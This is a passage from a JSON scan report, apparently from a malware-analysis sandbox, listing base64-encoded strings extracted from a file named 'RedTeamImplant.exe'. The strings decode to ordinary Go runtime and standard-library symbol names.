Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5jUGluQ291bnRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5jcmVmQW5kQ2xvc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5kZXhib2R5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5kZXhieXRlYm9keQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5oZXJpdEhhbmRsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdEJ1ZnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5pdEhlYXBCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5pdElubGluZU1hcmtCaXRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5pdE9wZW5Db2RlZERlZmVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5pdHRhc2tz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5pdFRpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5saW5lTWFya0JpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5NYXJrQXNzaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5PYmplY3Rz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5wdXRPdmVyZmxvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5SZWdQdHJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5zZXJ0QmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5TdGFja3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW5zdGFsbFRhYmxlU3BsaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJmYWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJmYWNlRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW50ZXJmYWNlVHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqRnVuY1R5cGUpLkluU2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqRnVuY1R5cGUpLklzVmFyaWFkaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqRnVuY1R5cGUpLkxlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqRnVuY1R5cGUpLk51bU91dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqRnVuY1R5cGUpLk91dFNsaWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqSW50QXJnUmVnQml0bWFwKS5HZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqSW50QXJnUmVnQml0bWFwKS5TZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqS2luZCkuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqUmVnQXJncykuSW50UmVnQXJnQWRkcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqU3RydWN0RmllbGQpLkVtYmVkZGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqU3dpc3NNYXBUeXBlKS5IYXNoTWlnaHRQYW5pYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqU3dpc3NNYXBUeXBlKS5JbmRpcmVjdEVsZW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqU3dpc3NNYXBUeXBlKS5JbmRpcmVjdEtleQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqU3dpc3NNYXBUeXBlKS5OZWVkS2V5VXBkYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuQWxpZ24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuQXJyYXlUeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuRWxlbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuRXhwb3J0ZWRNZXRob2Rz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuSWZhY2VJbmRpcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuS2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuTWFwVHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuUG9pbnRlcnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVHlwZSkuVW5jb21tb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLigqVW5jb21tb25UeXBlKS5FeHBvcnRlZE1ldGhvZHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLmFkZENoZWNrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLkVzY2FwZVtnby5zaGFwZS4qdWludDhd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLktpbmQuU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuRGF0YUNoZWNrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuSGFzVGFn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuSXNCbGFuaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuSXNFbWJlZGRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuSXNFeHBvcnRlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuTmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuUmVhZFZhcmludA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5hbWUuVGFn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5ld05hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLk5vRXNjYXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLlR5cGVGb3JbZ28uc2hhcGUuc3RydWN0IHsgUGlkIGludDsgb3Muc3RhdGUgc3luYy9hdG9taWMuVWludDMyOyBvcy5zaWdNdSBzeW5jLlJXTXV0ZXg7IG9zLmhhbmRsZSAqb3MucHJvY2Vzc0hhbmRsZTsgb3MuY2xlYW51cCBydW50aW1lLkNsZWFudXAgfV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLlR5cGVPZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYWJpLndyaXRlVmFyaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqZGVkdXApLnNlZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqZGVkdXApLnNlZW5Mb3NzeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikuTWFya2VyT25seQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikubWF0Y2hSZXN1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikuU2hvdWxkRW5hYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikuU2hvdWxkUHJpbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikuc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqTWF0Y2hlcikuU3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LigqcGFyc2VFcnJvcikuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LmFwcGVuZEZpbGVMaW5l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LkFwcGVuZE1hcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LmZudg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LmZudlN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LmZudlVpbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LmZudlVpbnQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0Lkhhc2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0Lk5ldw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LlByaW50TWFya2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYmlzZWN0LnByaW50U3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5jb3VudEdlbmVyaWNTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5Db3VudFN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5DdXRvdmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5IYXNoU3RyW2dvLnNoYXBlLltddWludDhd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5IYXNoU3RyW2dvLnNoYXBlLnN0cmluZ10=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5IYXNoU3RyUmV2W2dvLnNoYXBlLnN0cmluZ10=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleEJ5dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleEJ5dGVTdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleFJhYmluS2FycFtnby5zaGFwZS5bXXVpbnQ4XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleFJhYmluS2FycFtnby5zaGFwZS5zdHJpbmdd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5JbmRleFN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5pbml0LjA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5MYXN0SW5kZXhCeXRlU3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZWFsZy5NYWtlTm9aZXJv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZW9yZGVyLkJFUHV0VWludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZW9yZGVyLkxFVWludDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvYnl0ZW9yZGVyLkxFVWludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuKCpTdGF0ZSkuSW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuKCpTdGF0ZSkuSW5pdDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuKCpTdGF0ZSkuTmV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuKCpTdGF0ZSkuUmVmaWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuKCpTdGF0ZSkuUmVzZWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY2hhY2hhOHJhbmQuYmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LmNwdWlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LmRvaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LmdldEdPQU1ENjRsZXZlbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LmluZGV4Qnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LkluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LmlzU2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LnByb2Nlc3NPcHRpb25z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvY3B1LnhnZXRidg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLigqbGF6eWJ1ZikuYXBwZW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLigqbGF6eWJ1ZikuaW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLigqbGF6eWJ1ZikucHJlcGVuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLigqbGF6eWJ1Zikuc3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLkJhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLkNsZWFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLmN1dFBhdGg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLkV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLkZyb21TbGFzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLklzQWJz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLklzUGF0aFNlcGFyYXRvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnBhdGhIYXNQcmVmaXhGb2xk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnBvc3RDbGVhbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnJlcGxhY2VTdHJpbmdCeXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnRvVXBwZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnVuY0xlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLlZvbHVtZU5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZmlsZXBhdGhsaXRlLnZvbHVtZU5hbWVMZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZm10c29ydA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZm10c29ydC5jb21wYXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZm10c29ydC5uaWxDb21wYXJl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZm10c29ydC5Tb3J0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZm10c29ydC5Tb3J0LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aW50ZXJuYWwvZ29kZWJ1Zw==","type":"Ansi","source":"Memory/File 